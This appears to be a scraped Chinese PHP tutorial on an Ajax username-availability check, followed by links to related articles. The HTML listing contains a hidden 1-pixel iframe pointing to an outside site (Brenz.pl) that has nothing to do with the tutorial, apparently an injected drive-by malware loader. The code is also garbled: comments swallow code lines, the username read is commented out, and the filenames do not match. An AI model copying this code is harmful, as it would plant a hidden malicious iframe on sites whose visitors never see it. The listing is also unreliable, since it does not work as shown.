PHP系列之集成Ajax实现登录验证
设计一个用户注册页面,当用户输入注册名的时候,检测用户名是否已存在,如果存在,给予提示
我们先打index.php
<html><head><meta http-equiv="content-type" content="text/html; charset=gb2312" /><script type="text/JavaScript">function Ajax(){var xmlHttpReq=null;//初始对象xmlHttpReqif(window.ActiveXObject){xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP");}else if(window.XMLHttpRequest){xmlHttpReq=new XMLHttpRequest();}var userId=document.getElementById("userId").value;//value取得id为userId的值url="u.php?userId="+userId;//路径if(xmlHttpReq!=null){//若对象实例化创建成功xmlHttpReq.open("GET",url,true);//open()打开请求xmlHttpReq.onreadystatechange=RequestCallBack;//设置回调函数RequestCallBack()xmlHttpReq.send(null);//请求不包括正文}function RequestCallBack(){//回调函数if(xmlHttpReq.readystate==4){if(xmlHttpReq.status==200){//请求成功document.getElementById("get").innerHTML=xmlHttpReq.responseText;//将得到的信息赋给id属性为get的div}}}}</script></head><body><font>注册</font><br><form>用户名:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="检测"onclick="Ajax()"><div id="get"></div></form><iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
</html>
welcome.php
<?php
header("content-type:text/html;charset=gb2312");
//sleep(1);$userId=$_GET["userId"];
if($userId=="管理员"){echo "用户名已存在!";
}else{echo "该用户名可以注册";
}
?>
PHP系列之集成Ajax实现登录验证相关推荐
- ajax登录验证的原理,ajax用户登录验证-get和post提交方式,与工作原理—2018-8-15...
ajax用户登录验证: 实例 html> Ajax实战:表单验证 用户登录 邮箱: 密码: 提交 let btn = document.getElementsByTagName('button' ...
- 用ajax实现登陆验证,ajax异步登录验证实现
如何用ajax异步登录验证实现? ajax异步无刷新登陆实现分为四步: class="fe_text jsv_required js_has_dval" title=请输入用户名 ...
- django系列8.3--django中间件实现登录验证(1)
中间件版的登录验证需要依靠session,所以数据库中要有django_session表. urls.py from django.conf.urls import url from app01 im ...
- struts2 + ajax 用户名登录验证(struts2+spring+ibatis)
js代码: [javascript]view plaincopy <!-- ajax 验证 --> <script type="text/javascript"& ...
- spring mvc+spring+mybatis+ajax实现登录验证
<h1>Spring Mvc+Spring+Mybatis+Ajax 实现异步登录的例子,和大家分享一下.</h1><div>login.js代码:</div ...
- Spring Security技术栈学习笔记(十三)Spring Social集成第三方登录验证开发流程介绍
开发第三方登录,我们必须首先要了解OAuth协议(本文所讲述的OAuth协议指的是OAuth2协议),本文首先简单介绍OAuth协议,然后基于Spring Social来阐述开发第三方登录需要做哪些准 ...
- Spring Security技术栈学习笔记(十四)使用Spring Social集成QQ登录验证方式
上一篇文章<Spring Security技术栈开发企业级认证与授权(十三)Spring Social集成第三方登录验证开发流程介绍>主要是介绍了OAuth2协议的基本内容以及Spring ...
- Ajax+SpringMVC+JSON登录验证
本项目是用maven管理的,代码调试没问题,本代码是在项目中拿下来的: 开始动手了–> 1,做个简单的登录框: /login.jsp/ 因为用ajax登录的原因,所以没有用表单,推荐用这种方式. ...
- Jeesite单点登录集成Cas另加自定义登录验证
Jeesite单点登录集成Cas另加自定义登录验证 JeeSite是基于多个优秀的开源项目,高度整合封装而成的高效,高性能,强安全性的 开源 Java EE快速开发平台. Cas主要是用来解决多应用之 ...
最新文章
- 关于Javacript“原型”和“prototype属性”两者需要澄清的几点
- chrome扩展推荐 - 原生chrome浏览器小窗口看视频 - PIP Video
- operator new在C++中的各种写法
- 【开发必知】基本缓存概念
- php编写大型网站问题集
- 网络服务器虚拟化技术,网络虚拟化技术
- Python入门--else语句
- 通俗易懂的monteCarlo积分方法(八)
- 用python玩转数据第三周_《用Python玩转数据》-03 数据获取与表示
- 显卡算力排行2020_AMD正式发布RX6000系列显卡
- 书评:《深入浅出数据分析》
- 【微信自动续费】委托代扣接口常见问题QA
- 用matlab判断两个球是否相交,判断两个矩阵相交
- 分布式子系统之间通讯
- 第十三届蓝桥杯《EDA设计与开发》赛后总结
- C语言 “水仙花数”(包懂)
- js 只准输入数字_js 限制input只能输入数字
- cbnertvirtual内部框架下载_快速开发,支持前后端分离,微服务框架
- 算法表示法之大O表示法
- PLC的软件防干扰措施
热门文章
- SSM电影点播系统03-UI界面设计
- 第九届蓝桥杯省赛JAVA语言 C组题解_题7 缩位求和
- 2019 11 14
- 谁能教教我怎么学单片机,先学什么,怎么入门?
- 浅谈“李氏代换”——从纪念金庸和斯坦李说起
- 控制系统的复域数学模型
- sql server 可更新订阅 配置_更新前瞻丨前瞻内容大放送,暗部行动再次开启!
- 【如何3秒钟看出一个人的python实力|Python 数据分析打怪升级之路 day04】:手把手教你如何分析用户数据、数据分析基本概念
- Python 框架 之 Django 绑定 MySql ,MVT 实现简单一个简单的浏览器(内附详细步骤)
- 解决IntelliJ IDEA创建Maven项目没有src目录的问题